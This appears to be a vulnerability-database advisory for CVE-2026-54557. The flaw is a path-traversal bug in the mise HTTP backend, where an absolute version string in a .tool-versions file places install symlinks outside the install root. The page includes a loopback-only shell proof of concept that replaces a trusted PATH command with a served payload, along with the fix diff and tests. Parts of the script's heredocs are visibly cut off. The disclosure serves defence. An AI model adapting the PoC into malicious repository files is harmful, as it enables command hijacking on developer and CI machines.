VYPR
Medium severityNVD Advisory· Published Jun 23, 2026

mise HTTP backend uses raw version path for install symlink destination

CVE-2026-54557

Description

Summary

The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.

A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.

The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.

Affected

Code

In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:

let version_name = if tv.version == "latest" || tv.version.is_empty() {
    &cache_key[..7.min(cache_key.len())]
} else {
    &tv.version
};

let install_path = tv.ba().installs_path.join(version_name);

ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.

Impact

Proven:

  • Outside-root symlink creation from a repository-controlled .tool-versions entry.
  • Executable symlink materialization under an attacker-selected absolute prefix when bin_path is configured.
  • The executable symlink can be run if that prefix's bin directory is on PATH.
  • Replacement of a preexisting command in a trusted PATH prefix in a local workflow-chain model, followed by execution of the replaced command by name.

Not claimed:

  • mise install does not automatically execute the placed binary in the reproducer.
  • Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
  • Credential theft is not claimed.

Why

This Crosses A Boundary

.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.

The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:

$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...

The observed behavior instead allows the project version string to choose an absolute install destination.

Reproduction

The script below performs three local checks:

  1. It creates a .tool-versions entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.
  2. It creates a second HTTP backend entry with bin_path=bin and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's bin directory is on PATH.
  3. It creates a preexisting trusted command in a user-local PATH prefix, runs mise install from a project .tool-versions file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.

The script uses a loopback HTTP server and temporary directories only.

#!/bin/sh
set -eu

if ! command -v mise >/dev/null 2>&1; then
  echo "mise must be on PATH" >&2
  exit 1
fi

if ! command -v python3 >/dev/null 2>&1; then
  echo "python3 must be on PATH for the loopback HTTP server" >&2
  exit 1
fi

ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"

cleanup() {
  if [ -n "${SERVER_PID:-}" ]; then
    kill "$SERVER_PID" 2>/dev/null || true
  fi
  rm -rf "$ROOT"
}
trap cleanup EXIT

mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"

cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
  echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
  echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"

(
  cd "$WWW"
  python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1

PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <&2
  exit 1
fi

PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <&2
  exit 1
fi

MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd

if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
  echo "FAIL: executable symlink did not run" >&2
  exit 1
fi

echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"

run_path_chain_case() {
  case_name="$1"
  version="$2"
  expected="$3"

  CASE_ROOT="$ROOT/$case_name"
  HOME_DIR="$CASE_ROOT/home"
  CASE_DATA="$CASE_ROOT/data"
  CASE_CACHE="$CASE_ROOT/cache"
  CASE_STATE="$CASE_ROOT/state"
  CASE_CONFIG="$CASE_ROOT/config"
  CASE_PROJECT="$CASE_ROOT/project"
  CASE_MARKER="$CASE_ROOT/marker"

  if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
    version="$HOME_DIR/.local"
  fi

  mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
  cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
  chmod +x "$HOME_DIR/.local/bin/trustedcmd"

  cat > "$CASE_PROJECT/.tool-versions" <&2
    exit 1
  fi

  if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
    echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
    exit 1
  fi
}

run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND

echo "PATH_CHAIN_CONFIRMED"

Expected vulnerable markers:

VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMED

Candidate

Fix

Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.

diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {

         // Determine version name for install path
         let version_name = if tv.version == "latest" || tv.version.is_empty() {
-            &cache_key[..7.min(cache_key.len())] // Content-based versioning
+            cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
         } else {
-            &tv.version
+            tv.tv_pathname()
         };

-        let install_path = tv.ba().installs_path.join(version_name);
+        let install_path = tv.ba().installs_path.join(&version_name);

         // Clean up existing install
         if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::args::{BackendArg, BackendResolution};
+    use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+    fn http_test_tv(version: &str) -> ToolVersion {
+        let backend = Arc::new(BackendArg::new_raw(
+            "http-absolute-version".to_string(),
+            Some("http:absolute-version".to_string()),
+            "absolute-version".to_string(),
+            None,
+            BackendResolution::new(true),
+        ));
+        let request = ToolRequest::Version {
+            backend,
+            version: version.to_string(),
+            options: ToolVersionOptions::default(),
+            source: ToolSource::Argument,
+        };
+        ToolVersion::new(request, version.to_string())
+    }
+
+    #[test]
+    fn install_symlink_path_uses_sanitized_version_pathname() {
+        let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+        assert_eq!(
+            tv.tv_pathname(),
+            "-outside-root-mise-http-version-out-selected-prefix"
+        );
+        assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+    }
+
+    #[test]
+    fn latest_install_symlink_still_uses_content_version() {
+        let tv = http_test_tv("latest");
+        let cache_key = "abcdef123456";
+        let version_name = if tv.version == "latest" || tv.version.is_empty() {
+            cache_key[..7.min(cache_key.len())].to_string()
+        } else {
+            tv.tv_pathname()
+        };
+
+        assert_eq!(version_name, "abcdef1");
+    }
+}

Reporter: JUNYI LIU

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
misecrates.io
< 2026.6.12026.6.1

Affected products

1

Patches

Vulnerability mechanics

Root cause

"The HTTP backend's `create_install_symlink()` uses the raw `tv.version` string as a path component without sanitization, allowing an absolute path to escape the intended installs directory via `PathBuf::join`."

Attack vector

An attacker creates a repository-controlled `.tool-versions` file with an HTTP backend entry whose version string is an absolute path (e.g., `/outside-root/...`). When a developer or CI pipeline runs `mise install` in that repository, the HTTP backend's `create_install_symlink()` uses the raw absolute path with `PathBuf::join`, causing the symlink to be placed outside the intended mise installs directory [CWE-22]. If `bin_path` is also configured, an executable symlink can be materialized under an attacker-selected absolute prefix; if that prefix's `bin` directory is on `PATH`, a subsequent invocation of the command name executes the attacker-controlled payload [ref_id=1].

Affected code

In `src/backend/http.rs`, the `create_install_symlink()` function builds the install symlink destination from the raw `tv.version` string for non-latest versions. The code uses `&tv.version` directly instead of calling `tv.tv_pathname()`, which already sanitizes `:` and `/` characters. On Unix-like systems, when `tv.version` is an absolute path, `PathBuf::join` discards the intended mise installs root, allowing the symlink to be created outside the mise install tree [ref_id=1].

What the fix does

The patch replaces `&tv.version` with `tv.tv_pathname()` in the non-latest branch of `create_install_symlink()`. `tv_pathname()` already sanitizes `:` and `/` characters, so an absolute path like `/outside-root/...` becomes a safe relative name like `-outside-root-...`. The `latest`/empty version branch is preserved with a content-addressed short hash. This ensures all HTTP install symlinks remain under the mise installs directory regardless of the version string supplied in `.tool-versions` [ref_id=1].

Preconditions

  • inputThe attacker must be able to supply a `.tool-versions` file to the target repository (e.g., via a pull request or by hosting a malicious project).
  • configThe target must run `mise install` in the repository containing the malicious `.tool-versions` file.
  • configFor the PATH-replacement scenario, the attacker-selected prefix's `bin` directory must already be on the user's `PATH`.

Generated on Jun 23, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.